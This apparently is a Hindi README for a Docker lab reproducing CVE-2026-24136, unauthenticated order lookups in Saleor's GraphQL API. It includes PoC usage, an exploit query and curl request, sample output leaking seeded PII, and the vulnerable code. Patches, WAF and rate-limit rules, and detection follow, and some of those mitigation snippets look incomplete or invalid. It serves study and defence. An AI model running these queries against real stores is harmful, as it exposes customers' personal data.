cve-2026-24136-lab/
├── docker-compose.yml          # मृदा प्रयोगशाला (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # स्वचालित प्रारंभ स्क्रिप्ट (Windows PowerShell)
├── setup_lab.sh                # स्वचालित प्रारंभ स्क्रिप्ट (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # स्टार्टअप रैपर: wsgi bug + gunicorn पैच करें
    ├── seed_data.py            # PII के साथ पीड़ित खाते और ऑर्डर बनाएं
    └── poc_cve_2026_24136.py   # शोषण PoC

# यदि आवश्यक हो तो निष्पादन नीति सेट करें
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# स्वचालित सेटअप चलाएँ
.\setup_lab.ps1

chmod +x setup_lab.sh
./setup_lab.sh

# 1. कंटेनर प्रारंभ करें
docker compose up -d

# 2. API तैयार होने की प्रतीक्षा करें (~60-90 सेकंड)
#    जाँच करें: curl http://localhost:8000/health/

# 3. व्यवस्थापक खाता बनाएँ
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. उत्पाद/चैनल जोड़ें
docker exec cve_saleor_api python manage.py populatedb

# 5. पीड़ित डेटा बनाएँ (खाते + PII वाले ऑर्डर)
cd scripts
pip install requests
python seed_data.py

cd scripts

# तकनीकी स्पष्टीकरण देखें
python poc_cve_2026_24136.py explain

# सीडेड सूची से शोषण (अनुशंसित - Saleor 3.x UUID IDs का उपयोग करता है)
python poc_cve_2026_24136.py file order_ids.json

# सीधे base64 ग्लोबल ID का उपयोग करके एक ऑर्डर का शोषण करें
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# अनुक्रमिक गणना (केवल Saleor < 3.x पर काम करता है जो integer IDs का उपयोग करता है)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# लक्ष्य API बदलें
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# परिणाम JSON में सहेजें
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [लीक] ऑर्डर #41 -- ड्राफ्ट                                 ║
╠──────────────────────────────────────────────────────────────╣
║  ईमेल           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  बिलिंग पता : Nguyen Van A                              ║
║    सड़क        : 123 Le Loi Street                         ║
║    शहर/पिन     : HO CHI MINH CITY 700000                   ║
║    देश       : Vietnam                                   ║
║    फ़ोन         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] सफलतापूर्वक 6/6 ऑर्डर लीक हुए

base64("<TypeName>:<internal_id>")

# internal_id UUID v4 है
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

# दोषपूर्ण संस्करण (पैच से पहले)
def resolve_order(root, info, id):
    """ID द्वारा ऑर्डर हल करें – कोई प्राधिकरण जाँच नहीं है।"""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # कोई भी कॉल करने वाले को डेटा मिलता है, कोई उपयोगकर्ता जाँच नहीं, कोई सत्र जाँच नहीं

# क्वेरी परिभाषा, कोई अनुमति घोषित नहीं
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # कोई @permission_required नहीं, कोई गार्ड नहीं

query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}

# curl का उपयोग करके भेजें, टोकन की आवश्यकता नहीं
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# प्रतिक्रिया (प्रमाणीकरण की आवश्यकता नहीं):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

हमलावर (गुमनाम)                     Saleor GraphQL API
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (NO Authorization header)            |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |<── HTTP 200 OK ─────────────────────── |
        |   {"data": {"order": {                 |
        |     "userEmail": "[email protected]", |
        |     "billingAddress": {                |
        |       "phone": "+84901234567"          |
        |     }                                  |
        |   }}}                                  |
        |                                        |

# पैच किया गया संस्करण (>= 3.20.110)
def resolve_order(root, info, id):
    """पूर्ण प्राधिकरण जाँच के साथ ID द्वारा ऑर्डर हल करें।"""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # गार्ड 1: स्टाफ और ऐप सभी ऑर्डर देख सकते हैं
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # गार्ड 2: अप्रमाणित उपयोगकर्ता → None लौटाएं (अस्तित्व लीक से बचने के लिए त्रुटि न दिखाएं)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # गार्ड 3: प्रमाणित उपयोगकर्ता केवल अपने स्वयं के ऑर्डर देख सकते हैं
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "You don't have permission to access this order."
        )

    return order

# अनुमति आवश्यकता का दस्तावेजीकरण करने के लिए एनोटेशन जोड़ें
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Look up an order by ID. "
            "Requires authentication. Staff users can access all orders. "
            "Regular users can only access their own orders."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )

Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(कोई Authorization हेडर नहीं)

─────────────────────────────────────────────
पैच से पहले (≤ 3.20.109):
  HTTP 200 OK
  {"data": {"order": {"userEmail": "[email protected]"}}}
  → PII लीक हो गया

─────────────────────────────────────────────
पैच के बाद (≥ 3.20.110):
  HTTP 200 OK
  {"data": {"order": null}}
  → null लौटाता है, कोई त्रुटि नहीं (जानबूझकर – हमलावर को यह पता न लगने देना कि ऑर्डर मौजूद है या नहीं)
─────────────────────────────────────────────

पूर्णांक IDs (Saleor 2.x):
  Order:1, Order:2, ..., Order:N
  → N ऑर्डरों की गणना करने के लिए O(N) अनुरोधों की आवश्यकता है
  → हमलावर कुल ऑर्डरों की संख्या जान सकता है (बाइनरी सर्च द्वारा)

UUID IDs (Saleor 3.x):
  Order:460d1e27-2b0b-4897-84c9-64b524b08d64
  → खोज स्थान: 2^122 (UUID v4 में 122 यादृच्छिक बिट्स हैं)
  → ब्रूट फोर्स व्यावहारिक रूप से असंभव है
  → लेकिन ID अभी भी लीक होता है: ऑर्डर पुष्टिकरण ईमेल, डैशबोर्ड में URL, API प्रतिक्रियाएं, लॉग → यदि हमलावर को 1 ID मिल जाती है, तब भी शोषण किया जा सकता है

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV:N  – हमला वेक्टर: नेटवर्क      (इंटरनेट के माध्यम से शोषण)
AC:L  – हमला जटिलता: निम्न      (कोई विशेष शर्त नहीं)
PR:N  – आवश्यक विशेषाधिकार: कोई नहीं   (कोई खाता नहीं)
UI:N  – उपयोगकर्ता सहभागिता: कोई नहीं      (पीड़ित के सहभागिता की आवश्यकता नहीं)
S:U   – दायरा: अपरिवर्तित            (केवल Saleor API को प्रभावित करता है)
C:H   – गोपनीयता: उच्च       (सभी PII लीक हो गए)
I:N   – अखंडता: कोई नहीं             (डेटा संशोधित नहीं किया जा सकता)
A:N   – उपलब्धता: कोई नहीं          (कोई DoS नहीं)

# वर्तमान संस्करण जांचें
pip show saleor | grep Version

# पैच किए गए संस्करण में अपग्रेड करें
pip install "saleor>=3.20.110"   # यदि आप 3.20.x श्रृंखला का उपयोग कर रहे हैं
pip install "saleor>=3.21.45"   # यदि आप 3.21.x श्रृंखला का उपयोग कर रहे हैं
pip install "saleor>=3.22.29"   # यदि आप 3.22.x श्रृंखला का उपयोग कर रहे हैं

# Nginx – अप्रमाणित अनुरोधों से GraphQL order query को ब्लॉक करें
location /graphql/ {
    # यदि कोई Authorization हेडर नहीं है और बॉडी में "order(" है
    if ($http_authorization = "") {
        # शोषण के संकेत वाली क्वेरीज़ को ब्लॉक करें
        # नोट: यह केवल एक अस्थायी समाधान है, पैच का विकल्प नहीं
    }
    proxy_pass http://saleor_api;
}

{
  "Name": "BlockAnonymousOrderQuery",
  "Priority": 1,
  "Action": {"Block": {}},
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "\"order\"",
            "FieldToMatch": {"Body": {}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Authorization",
            "FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "EXACTLY",
            "NegatedStatement": true
          }
        }
      ]
    }
  }
}

# बिना प्रमाणीकरण के एक IP से अनुरोधों को सीमित करें
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;

location /graphql/ {
    limit_req zone=graphql_anon burst=5 nodelay;
    proxy_pass http://saleor_api;
}

# पता लगाएं: 1 IP बिना Authorization के कई GraphQL अनुरोध भेज रहा है
grep 'POST /graphql/' access.log \
  | awk '$9 == 200 && !/Authorization/' \
  | awk '{print $1}' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 20'  # अलर्ट करें यदि 1 IP से > 20 अनुरोध

# बिना प्रमाणीकरण के अनुरोध बॉडी में "order" पैटर्न का पता लगाएं
# (JSON बॉडी लॉगिंग आवश्यक)

alert: SaleorAnonOrderQuery
expr: |
  rate(nginx_http_requests_total{
    path="/graphql/",
    method="POST",
    has_auth_header="false"
  }[5m]) > 5
severity: warning
annotations:
  summary: "संभावित CVE-2026-24136 शोषण प्रयास"
  description: "अप्रमाणित GraphQL POST अनुरोधों की उच्च दर"

# कंटेनर और वॉल्यूम रोकें और हटाएं (सभी डेटा हटाएं)
docker compose down -v

# केवल कंटेनर रोकें (डेटा रखें)
docker compose stop